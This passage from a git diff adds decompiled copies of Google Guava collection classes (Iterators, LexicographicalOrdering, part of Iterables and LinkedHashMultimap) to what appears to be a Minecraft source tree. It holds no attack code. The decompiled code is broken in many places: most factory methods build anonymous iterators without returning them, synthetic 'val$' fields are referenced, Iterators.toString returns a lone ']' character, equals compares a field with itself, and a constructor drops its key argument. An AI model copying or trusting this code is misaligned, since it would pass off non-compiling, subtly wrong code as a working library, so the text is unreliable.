+    return list.get(list.size() - 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> skip(Iterable<T> iterable, final int numberToSkip)
+  {
+    Preconditions.checkNotNull(iterable);
+    Preconditions.checkArgument(numberToSkip >= 0, "number to skip cannot be negative");
+    
+    if ((iterable instanceof List)) {
+      List<T> list = (List)iterable;
+      new FluentIterable()
+      {
+        public Iterator<T> iterator()
+        {
+          int toSkip = Math.min(val$list.size(), numberToSkip);
+          return val$list.subList(toSkip, val$list.size()).iterator();
+        }
+      };
+    }
+    
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        final Iterator<T> iterator = val$iterable.iterator();
+        
+        Iterators.advance(iterator, numberToSkip);
+        
+
+
+
+
+
+        new Iterator() {
+          boolean atStart = true;
+          
+          public boolean hasNext()
+          {
+            return iterator.hasNext();
+          }
+          
+          public T next()
+          {
+            T result = iterator.next();
+            atStart = false;
+            return result;
+          }
+          
+          public void remove()
+          {
+            CollectPreconditions.checkRemove(!atStart);
+            iterator.remove();
+          }
+        };
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> limit(Iterable<T> iterable, final int limitSize)
+  {
+    Preconditions.checkNotNull(iterable);
+    Preconditions.checkArgument(limitSize >= 0, "limit is negative");
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.limit(val$iterable.iterator(), limitSize);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterable<T> consumingIterable(Iterable<T> iterable)
+  {
+    if ((iterable instanceof Queue)) {
+      new FluentIterable()
+      {
+        public Iterator<T> iterator() {
+          return new Iterables.ConsumingQueueIterator((Queue)val$iterable, null);
+        }
+        
+        public String toString()
+        {
+          return "Iterables.consumingIterable(...)";
+        }
+      };
+    }
+    
+    Preconditions.checkNotNull(iterable);
+    
+    new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.consumingIterator(val$iterable.iterator());
+      }
+      
+      public String toString()
+      {
+        return "Iterables.consumingIterable(...)";
+      }
+    };
+  }
+  
+  private static class ConsumingQueueIterator<T> extends AbstractIterator<T> {
+    private final Queue<T> queue;
+    
+    private ConsumingQueueIterator(Queue<T> queue) {
+      this.queue = queue;
+    }
+    
+    public T computeNext() {
+      try {
+        return queue.remove();
+      } catch (NoSuchElementException e) {}
+      return endOfData();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isEmpty(Iterable<?> iterable)
+  {
+    if ((iterable instanceof Collection)) {
+      return ((Collection)iterable).isEmpty();
+    }
+    return !iterable.iterator().hasNext();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <T> Iterable<T> mergeSorted(Iterable<? extends Iterable<? extends T>> iterables, final Comparator<? super T> comparator)
+  {
+    Preconditions.checkNotNull(iterables, "iterables");
+    Preconditions.checkNotNull(comparator, "comparator");
+    Iterable<T> iterable = new FluentIterable()
+    {
+      public Iterator<T> iterator() {
+        return Iterators.mergeSorted(Iterables.transform(val$iterables, Iterables.access$300()), comparator);
+      }
+      
+
+    };
+    return new UnmodifiableIterable(iterable, null);
+  }
+  
+
+
+  private static <T> Function<Iterable<? extends T>, Iterator<? extends T>> toIterator()
+  {
+    new Function()
+    {
+      public Iterator<? extends T> apply(Iterable<? extends T> iterable) {
+        return iterable.iterator();
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Iterators.java b/src/minecraft/com/google/common/collect/Iterators.java
new file mode 100644
index 0000000..4c633d8
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Iterators.java
@@ -0,0 +1,1313 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import com.google.common.base.Optional;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Enumeration;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+import java.util.PriorityQueue;
+import java.util.Queue;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Iterators
+{
+  static final UnmodifiableListIterator<Object> EMPTY_LIST_ITERATOR = new UnmodifiableListIterator()
+  {
+    public boolean hasNext()
+    {
+      return false;
+    }
+    
+    public Object next() {
+      throw new NoSuchElementException();
+    }
+    
+    public boolean hasPrevious() {
+      return false;
+    }
+    
+    public Object previous() {
+      throw new NoSuchElementException();
+    }
+    
+    public int nextIndex() {
+      return 0;
+    }
+    
+    public int previousIndex() {
+      return -1;
+    }
+  };
+  
+
+
+  private Iterators() {}
+  
+
+  public static <T> UnmodifiableIterator<T> emptyIterator()
+  {
+    return emptyListIterator();
+  }
+  
+
+
+
+
+
+
+
+  static <T> UnmodifiableListIterator<T> emptyListIterator()
+  {
+    return EMPTY_LIST_ITERATOR;
+  }
+  
+  private static final Iterator<Object> EMPTY_MODIFIABLE_ITERATOR = new Iterator()
+  {
+    public boolean hasNext() {
+      return false;
+    }
+    
+    public Object next() {
+      throw new NoSuchElementException();
+    }
+    
+    public void remove() {
+      CollectPreconditions.checkRemove(false);
+    }
+  };
+  
+
+
+
+
+
+
+
+  static <T> Iterator<T> emptyModifiableIterator()
+  {
+    return EMPTY_MODIFIABLE_ITERATOR;
+  }
+  
+
+  public static <T> UnmodifiableIterator<T> unmodifiableIterator(Iterator<T> iterator)
+  {
+    Preconditions.checkNotNull(iterator);
+    if ((iterator instanceof UnmodifiableIterator)) {
+      return (UnmodifiableIterator)iterator;
+    }
+    new UnmodifiableIterator()
+    {
+      public boolean hasNext() {
+        return val$iterator.hasNext();
+      }
+      
+      public T next() {
+        return val$iterator.next();
+      }
+    };
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static <T> UnmodifiableIterator<T> unmodifiableIterator(UnmodifiableIterator<T> iterator)
+  {
+    return (UnmodifiableIterator)Preconditions.checkNotNull(iterator);
+  }
+  
+
+
+
+
+  public static int size(Iterator<?> iterator)
+  {
+    int count = 0;
+    while (iterator.hasNext()) {
+      iterator.next();
+      count++;
+    }
+    return count;
+  }
+  
+
+
+  public static boolean contains(Iterator<?> iterator, @Nullable Object element)
+  {
+    return any(iterator, Predicates.equalTo(element));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean removeAll(Iterator<?> removeFrom, Collection<?> elementsToRemove)
+  {
+    return removeIf(removeFrom, Predicates.in(elementsToRemove));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> boolean removeIf(Iterator<T> removeFrom, Predicate<? super T> predicate)
+  {
+    Preconditions.checkNotNull(predicate);
+    boolean modified = false;
+    while (removeFrom.hasNext()) {
+      if (predicate.apply(removeFrom.next())) {
+        removeFrom.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean retainAll(Iterator<?> removeFrom, Collection<?> elementsToRetain)
+  {
+    return removeIf(removeFrom, Predicates.not(Predicates.in(elementsToRetain)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static boolean elementsEqual(Iterator<?> iterator1, Iterator<?> iterator2)
+  {
+    while (iterator1.hasNext()) {
+      if (!iterator2.hasNext()) {
+        return false;
+      }
+      Object o1 = iterator1.next();
+      Object o2 = iterator2.next();
+      if (!Objects.equal(o1, o2)) {
+        return false;
+      }
+    }
+    return !iterator2.hasNext();
+  }
+  
+
+
+
+
+  public static String toString(Iterator<?> iterator)
+  {
+    return ']';
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> T getOnlyElement(Iterator<T> iterator)
+  {
+    T first = iterator.next();
+    if (!iterator.hasNext()) {
+      return first;
+    }
+    
+    StringBuilder sb = new StringBuilder();
+    sb.append("expected one element but was: <" + first);
+    for (int i = 0; (i < 4) && (iterator.hasNext()); i++) {
+      sb.append(", " + iterator.next());
+    }
+    if (iterator.hasNext()) {
+      sb.append(", ...");
+    }
+    sb.append('>');
+    
+    throw new IllegalArgumentException(sb.toString());
+  }
+  
+
+
+
+
+
+
+  @Nullable
+  public static <T> T getOnlyElement(Iterator<? extends T> iterator, @Nullable T defaultValue)
+  {
+    return iterator.hasNext() ? getOnlyElement(iterator) : defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("Array.newInstance(Class, int)")
+  public static <T> T[] toArray(Iterator<? extends T> iterator, Class<T> type)
+  {
+    List<T> list = Lists.newArrayList(iterator);
+    return Iterables.toArray(list, type);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> boolean addAll(Collection<T> addTo, Iterator<? extends T> iterator)
+  {
+    Preconditions.checkNotNull(addTo);
+    Preconditions.checkNotNull(iterator);
+    boolean wasModified = false;
+    while (iterator.hasNext()) {
+      wasModified |= addTo.add(iterator.next());
+    }
+    return wasModified;
+  }
+  
+
+
+
+
+
+
+  public static int frequency(Iterator<?> iterator, @Nullable Object element)
+  {
+    return size(filter(iterator, Predicates.equalTo(element)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> cycle(Iterable<T> iterable)
+  {
+    Preconditions.checkNotNull(iterable);
+    new Iterator() {
+      Iterator<T> iterator = Iterators.emptyIterator();
+      Iterator<T> removeFrom;
+      
+      public boolean hasNext()
+      {
+        if (!iterator.hasNext()) {
+          iterator = val$iterable.iterator();
+        }
+        return iterator.hasNext();
+      }
+      
+      public T next() {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        removeFrom = iterator;
+        return iterator.next();
+      }
+      
+      public void remove() {
+        CollectPreconditions.checkRemove(removeFrom != null);
+        removeFrom.remove();
+        removeFrom = null;
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> cycle(T... elements)
+  {
+    return cycle(Lists.newArrayList(elements));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> concat(Iterator<? extends T> a, Iterator<? extends T> b)
+  {
+    return concat(ImmutableList.of(a, b).iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> concat(Iterator<? extends T> a, Iterator<? extends T> b, Iterator<? extends T> c)
+  {
+    return concat(ImmutableList.of(a, b, c).iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> concat(Iterator<? extends T> a, Iterator<? extends T> b, Iterator<? extends T> c, Iterator<? extends T> d)
+  {
+    return concat(ImmutableList.of(a, b, c, d).iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> concat(Iterator<? extends T>... inputs)
+  {
+    return concat(ImmutableList.copyOf(inputs).iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> concat(Iterator<? extends Iterator<? extends T>> inputs)
+  {
+    Preconditions.checkNotNull(inputs);
+    new Iterator() {
+      Iterator<? extends T> current = Iterators.emptyIterator();
+      
+
+
+      Iterator<? extends T> removeFrom;
+      
+
+
+
+      public boolean hasNext()
+      {
+        boolean currentHasNext;
+        
+
+        while ((!(currentHasNext = ((Iterator)Preconditions.checkNotNull(current)).hasNext())) && (val$inputs.hasNext())) {
+          current = ((Iterator)val$inputs.next());
+        }
+        return currentHasNext;
+      }
+      
+      public T next() {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        removeFrom = current;
+        return current.next();
+      }
+      
+      public void remove() {
+        CollectPreconditions.checkRemove(removeFrom != null);
+        removeFrom.remove();
+        removeFrom = null;
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> UnmodifiableIterator<List<T>> partition(Iterator<T> iterator, int size)
+  {
+    return partitionImpl(iterator, size, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> UnmodifiableIterator<List<T>> paddedPartition(Iterator<T> iterator, int size)
+  {
+    return partitionImpl(iterator, size, true);
+  }
+  
+  private static <T> UnmodifiableIterator<List<T>> partitionImpl(Iterator<T> iterator, final int size, final boolean pad)
+  {
+    Preconditions.checkNotNull(iterator);
+    Preconditions.checkArgument(size > 0);
+    new UnmodifiableIterator()
+    {
+      public boolean hasNext() {
+        return val$iterator.hasNext();
+      }
+      
+      public List<T> next() {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        Object[] array = new Object[size];
+        for (int count = 0; 
+            (count < size) && (val$iterator.hasNext()); count++) {
+          array[count] = val$iterator.next();
+        }
+        for (int i = count; i < size; i++) {
+          array[i] = null;
+        }
+        
+
+        List<T> list = Collections.unmodifiableList(Arrays.asList(array));
+        
+        return (pad) || (count == size) ? list : list.subList(0, count);
+      }
+    };
+  }
+  
+
+
+
+  public static <T> UnmodifiableIterator<T> filter(Iterator<T> unfiltered, final Predicate<? super T> predicate)
+  {
+    Preconditions.checkNotNull(unfiltered);
+    Preconditions.checkNotNull(predicate);
+    new AbstractIterator() {
+      protected T computeNext() {
+        while (val$unfiltered.hasNext()) {
+          T element = val$unfiltered.next();
+          if (predicate.apply(element)) {
+            return element;
+          }
+        }
+        return endOfData();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("Class.isInstance")
+  public static <T> UnmodifiableIterator<T> filter(Iterator<?> unfiltered, Class<T> type)
+  {
+    return filter(unfiltered, Predicates.instanceOf(type));
+  }
+  
+
+
+
+
+  public static <T> boolean any(Iterator<T> iterator, Predicate<? super T> predicate)
+  {
+    return indexOf(iterator, predicate) != -1;
+  }
+  
+
+
+
+
+
+  public static <T> boolean all(Iterator<T> iterator, Predicate<? super T> predicate)
+  {
+    Preconditions.checkNotNull(predicate);
+    while (iterator.hasNext()) {
+      T element = iterator.next();
+      if (!predicate.apply(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> T find(Iterator<T> iterator, Predicate<? super T> predicate)
+  {
+    return filter(iterator, predicate).next();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T find(Iterator<? extends T> iterator, Predicate<? super T> predicate, @Nullable T defaultValue)
+  {
+    return getNext(filter(iterator, predicate), defaultValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Optional<T> tryFind(Iterator<T> iterator, Predicate<? super T> predicate)
+  {
+    UnmodifiableIterator<T> filteredIterator = filter(iterator, predicate);
+    return filteredIterator.hasNext() ? Optional.of(filteredIterator.next()) : Optional.absent();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> int indexOf(Iterator<T> iterator, Predicate<? super T> predicate)
+  {
+    Preconditions.checkNotNull(predicate, "predicate");
+    for (int i = 0; iterator.hasNext(); i++) {
+      T current = iterator.next();
+      if (predicate.apply(current)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static <F, T> Iterator<T> transform(Iterator<F> fromIterator, final Function<? super F, ? extends T> function)
+  {
+    Preconditions.checkNotNull(function);
+    new TransformedIterator(fromIterator)
+    {
+      T transform(F from) {
+        return function.apply(from);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> T get(Iterator<T> iterator, int position)
+  {
+    checkNonnegative(position);
+    int skipped = advance(iterator, position);
+    if (!iterator.hasNext()) {
+      throw new IndexOutOfBoundsException("position (" + position + ") must be less than the number of elements that remained (" + skipped + ")");
+    }
+    
+
+    return iterator.next();
+  }
+  
+  static void checkNonnegative(int position) {
+    if (position < 0) {
+      throw new IndexOutOfBoundsException("position (" + position + ") must not be negative");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T get(Iterator<? extends T> iterator, int position, @Nullable T defaultValue)
+  {
+    checkNonnegative(position);
+    advance(iterator, position);
+    return getNext(iterator, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T getNext(Iterator<? extends T> iterator, @Nullable T defaultValue)
+  {
+    return iterator.hasNext() ? iterator.next() : defaultValue;
+  }
+  
+
+
+
+
+  public static <T> T getLast(Iterator<T> iterator)
+  {
+    for (;;)
+    {
+      T current = iterator.next();
+      if (!iterator.hasNext()) {
+        return current;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  @Nullable
+  public static <T> T getLast(Iterator<? extends T> iterator, @Nullable T defaultValue)
+  {
+    return iterator.hasNext() ? getLast(iterator) : defaultValue;
+  }
+  
+
+
+
+
+
+
+  public static int advance(Iterator<?> iterator, int numberToAdvance)
+  {
+    Preconditions.checkNotNull(iterator);
+    Preconditions.checkArgument(numberToAdvance >= 0, "numberToAdvance must be nonnegative");
+    
+
+    for (int i = 0; (i < numberToAdvance) && (iterator.hasNext()); i++) {
+      iterator.next();
+    }
+    return i;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> limit(final Iterator<T> iterator, int limitSize)
+  {
+    Preconditions.checkNotNull(iterator);
+    Preconditions.checkArgument(limitSize >= 0, "limit is negative");
+    new Iterator()
+    {
+      private int count;
+      
+      public boolean hasNext() {
+        return (count < val$limitSize) && (iterator.hasNext());
+      }
+      
+      public T next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        count += 1;
+        return iterator.next();
+      }
+      
+      public void remove()
+      {
+        iterator.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Iterator<T> consumingIterator(Iterator<T> iterator)
+  {
+    Preconditions.checkNotNull(iterator);
+    new UnmodifiableIterator()
+    {
+      public boolean hasNext() {
+        return val$iterator.hasNext();
+      }
+      
+      public T next()
+      {
+        T next = val$iterator.next();
+        val$iterator.remove();
+        return next;
+      }
+      
+      public String toString()
+      {
+        return "Iterators.consumingIterator(...)";
+      }
+    };
+  }
+  
+
+
+
+  @Nullable
+  static <T> T pollNext(Iterator<T> iterator)
+  {
+    if (iterator.hasNext()) {
+      T result = iterator.next();
+      iterator.remove();
+      return result;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  static void clear(Iterator<?> iterator)
+  {
+    Preconditions.checkNotNull(iterator);
+    while (iterator.hasNext()) {
+      iterator.next();
+      iterator.remove();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> UnmodifiableIterator<T> forArray(T... array)
+  {
+    return forArray(array, 0, array.length, 0);
+  }
+  
+
+
+
+
+
+
+
+  static <T> UnmodifiableListIterator<T> forArray(final T[] array, final int offset, int length, int index)
+  {
+    Preconditions.checkArgument(length >= 0);
+    int end = offset + length;
+    
+
+    Preconditions.checkPositionIndexes(offset, end, array.length);
+    Preconditions.checkPositionIndex(index, length);
+    if (length == 0) {
+      return emptyListIterator();
+    }
+    
+
+
+
+
+
+    new AbstractIndexedListIterator(length, index) {
+      protected T get(int index) {
+        return array[(offset + index)];
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public static <T> UnmodifiableIterator<T> singletonIterator(@Nullable T value)
+  {
+    new UnmodifiableIterator() {
+      boolean done;
+      
+      public boolean hasNext() {
+        return !done;
+      }
+      
+      public T next() {
+        if (done) {
+          throw new NoSuchElementException();
+        }
+        done = true;
+        return val$value;
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> UnmodifiableIterator<T> forEnumeration(Enumeration<T> enumeration)
+  {
+    Preconditions.checkNotNull(enumeration);
+    new UnmodifiableIterator()
+    {
+      public boolean hasNext() {
+        return val$enumeration.hasMoreElements();
+      }
+      
+      public T next() {
+        return val$enumeration.nextElement();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public static <T> Enumeration<T> asEnumeration(Iterator<T> iterator)
+  {
+    Preconditions.checkNotNull(iterator);
+    new Enumeration()
+    {
+      public boolean hasMoreElements() {
+        return val$iterator.hasNext();
+      }
+      
+      public T nextElement() {
+        return val$iterator.next();
+      }
+    };
+  }
+  
+
+  private static class PeekingImpl<E>
+    implements PeekingIterator<E>
+  {
+    private final Iterator<? extends E> iterator;
+    private boolean hasPeeked;
+    private E peekedElement;
+    
+    public PeekingImpl(Iterator<? extends E> iterator)
+    {
+      this.iterator = ((Iterator)Preconditions.checkNotNull(iterator));
+    }
+    
+    public boolean hasNext()
+    {
+      return (hasPeeked) || (iterator.hasNext());
+    }
+    
+    public E next()
+    {
+      if (!hasPeeked) {
+        return iterator.next();
+      }
+      E result = peekedElement;
+      hasPeeked = false;
+      peekedElement = null;
+      return result;
+    }
+    
+    public void remove()
+    {
+      Preconditions.checkState(!hasPeeked, "Can't remove after you've peeked at next");
+      iterator.remove();
+    }
+    
+    public E peek()
+    {
+      if (!hasPeeked) {
+        peekedElement = iterator.next();
+        hasPeeked = true;
+      }
+      return peekedElement;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> PeekingIterator<T> peekingIterator(Iterator<? extends T> iterator)
+  {
+    if ((iterator instanceof PeekingImpl))
+    {
+
+
+      PeekingImpl<T> peeking = (PeekingImpl)iterator;
+      return peeking;
+    }
+    return new PeekingImpl(iterator);
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static <T> PeekingIterator<T> peekingIterator(PeekingIterator<T> iterator)
+  {
+    return (PeekingIterator)Preconditions.checkNotNull(iterator);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <T> UnmodifiableIterator<T> mergeSorted(Iterable<? extends Iterator<? extends T>> iterators, Comparator<? super T> comparator)
+  {
+    Preconditions.checkNotNull(iterators, "iterators");
+    Preconditions.checkNotNull(comparator, "comparator");
+    
+    return new MergingIterator(iterators, comparator);
+  }
+  
+
+
+
+
+
+  private static class MergingIterator<T>
+    extends UnmodifiableIterator<T>
+  {
+    final Queue<PeekingIterator<T>> queue;
+    
+
+
+
+
+    public MergingIterator(Iterable<? extends Iterator<? extends T>> iterators, final Comparator<? super T> itemComparator)
+    {
+      Comparator<PeekingIterator<T>> heapComparator = new Comparator()
+      {
+        public int compare(PeekingIterator<T> o1, PeekingIterator<T> o2)
+        {
+          return itemComparator.compare(o1.peek(), o2.peek());
+        }
+        
+      };
+      queue = new PriorityQueue(2, heapComparator);
+      
+      for (Iterator<? extends T> iterator : iterators) {
+        if (iterator.hasNext()) {
+          queue.add(Iterators.peekingIterator(iterator));
+        }
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      return !queue.isEmpty();
+    }
+    
+    public T next()
+    {
+      PeekingIterator<T> nextIter = (PeekingIterator)queue.remove();
+      T next = nextIter.next();
+      if (nextIter.hasNext()) {
+        queue.add(nextIter);
+      }
+      return next;
+    }
+  }
+  
+
+
+  static <T> ListIterator<T> cast(Iterator<T> iterator)
+  {
+    return (ListIterator)iterator;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/LexicographicalOrdering.java b/src/minecraft/com/google/common/collect/LexicographicalOrdering.java
new file mode 100644
index 0000000..bd0c621
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/LexicographicalOrdering.java
@@ -0,0 +1,76 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class LexicographicalOrdering<T>
+  extends Ordering<Iterable<T>>
+  implements Serializable
+{
+  final Ordering<? super T> elementOrder;
+  private static final long serialVersionUID = 0L;
+  
+  LexicographicalOrdering(Ordering<? super T> elementOrder)
+  {
+    this.elementOrder = elementOrder;
+  }
+  
+  public int compare(Iterable<T> leftIterable, Iterable<T> rightIterable)
+  {
+    Iterator<T> left = leftIterable.iterator();
+    Iterator<T> right = rightIterable.iterator();
+    while (left.hasNext()) {
+      if (!right.hasNext()) {
+        return 1;
+      }
+      int result = elementOrder.compare(left.next(), right.next());
+      if (result != 0) {
+        return result;
+      }
+    }
+    if (right.hasNext()) {
+      return -1;
+    }
+    return 0;
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof LexicographicalOrdering)) {
+      LexicographicalOrdering<?> that = (LexicographicalOrdering)object;
+      return elementOrder.equals(elementOrder);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return elementOrder.hashCode() ^ 0x7BB78CF5;
+  }
+  
+  public String toString() {
+    return elementOrder + ".lexicographical()";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/LinkedHashMultimap.java b/src/minecraft/com/google/common/collect/LinkedHashMultimap.java
new file mode 100644
index 0000000..89cd223
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/LinkedHashMultimap.java
@@ -0,0 +1,592 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Objects;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public final class LinkedHashMultimap<K, V>
+  extends AbstractSetMultimap<K, V>
+{
+  private static final int DEFAULT_KEY_CAPACITY = 16;
+  private static final int DEFAULT_VALUE_SET_CAPACITY = 2;
+  @VisibleForTesting
+  static final double VALUE_SET_LOAD_FACTOR = 1.0D;
+  
+  public static <K, V> LinkedHashMultimap<K, V> create()
+  {
+    return new LinkedHashMultimap(16, 2);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K, V> LinkedHashMultimap<K, V> create(int expectedKeys, int expectedValuesPerKey)
+  {
+    return new LinkedHashMultimap(Maps.capacity(expectedKeys), Maps.capacity(expectedValuesPerKey));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> LinkedHashMultimap<K, V> create(Multimap<? extends K, ? extends V> multimap)
+  {
+    LinkedHashMultimap<K, V> result = create(multimap.keySet().size(), 2);
+    result.putAll(multimap);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  private static <K, V> void succeedsInValueSet(ValueSetLink<K, V> pred, ValueSetLink<K, V> succ)
+  {
+    pred.setSuccessorInValueSet(succ);
+    succ.setPredecessorInValueSet(pred);
+  }
+  
+  private static <K, V> void succeedsInMultimap(ValueEntry<K, V> pred, ValueEntry<K, V> succ)
+  {
+    pred.setSuccessorInMultimap(succ);
+    succ.setPredecessorInMultimap(pred);
+  }
+  
+  private static <K, V> void deleteFromValueSet(ValueSetLink<K, V> entry) {
+    succeedsInValueSet(entry.getPredecessorInValueSet(), entry.getSuccessorInValueSet());
+  }
+  
+  private static <K, V> void deleteFromMultimap(ValueEntry<K, V> entry) {
+    succeedsInMultimap(entry.getPredecessorInMultimap(), entry.getSuccessorInMultimap());
+  }
+  
+  private static abstract interface ValueSetLink<K, V> {
+    public abstract ValueSetLink<K, V> getPredecessorInValueSet();
+    
+    public abstract ValueSetLink<K, V> getSuccessorInValueSet();
+    
+    public abstract void setPredecessorInValueSet(ValueSetLink<K, V> paramValueSetLink);
+    
+    public abstract void setSuccessorInValueSet(ValueSetLink<K, V> paramValueSetLink);
+  }
+  
+  @VisibleForTesting
+  static final class ValueEntry<K, V> extends ImmutableEntry<K, V> implements LinkedHashMultimap.ValueSetLink<K, V> {
+    final int smearedValueHash;
+    @Nullable
+    ValueEntry<K, V> nextInValueBucket;
+    LinkedHashMultimap.ValueSetLink<K, V> predecessorInValueSet;
+    LinkedHashMultimap.ValueSetLink<K, V> successorInValueSet;
+    ValueEntry<K, V> predecessorInMultimap;
+    ValueEntry<K, V> successorInMultimap;
+    
+    ValueEntry(@Nullable K key, @Nullable V value, int smearedValueHash, @Nullable ValueEntry<K, V> nextInValueBucket) {
+      super(value);
+      this.smearedValueHash = smearedValueHash;
+      this.nextInValueBucket = nextInValueBucket;
+    }
+    
+    boolean matchesValue(@Nullable Object v, int smearedVHash) {
+      return (smearedValueHash == smearedVHash) && (Objects.equal(getValue(), v));
+    }
+    
+    public LinkedHashMultimap.ValueSetLink<K, V> getPredecessorInValueSet()
+    {
+      return predecessorInValueSet;
+    }
+    
+    public LinkedHashMultimap.ValueSetLink<K, V> getSuccessorInValueSet()
+    {
+      return successorInValueSet;
+    }
+    
+    public void setPredecessorInValueSet(LinkedHashMultimap.ValueSetLink<K, V> entry)
+    {
+      predecessorInValueSet = entry;
+    }
+    
+    public void setSuccessorInValueSet(LinkedHashMultimap.ValueSetLink<K, V> entry)
+    {
+      successorInValueSet = entry;
+    }
+    
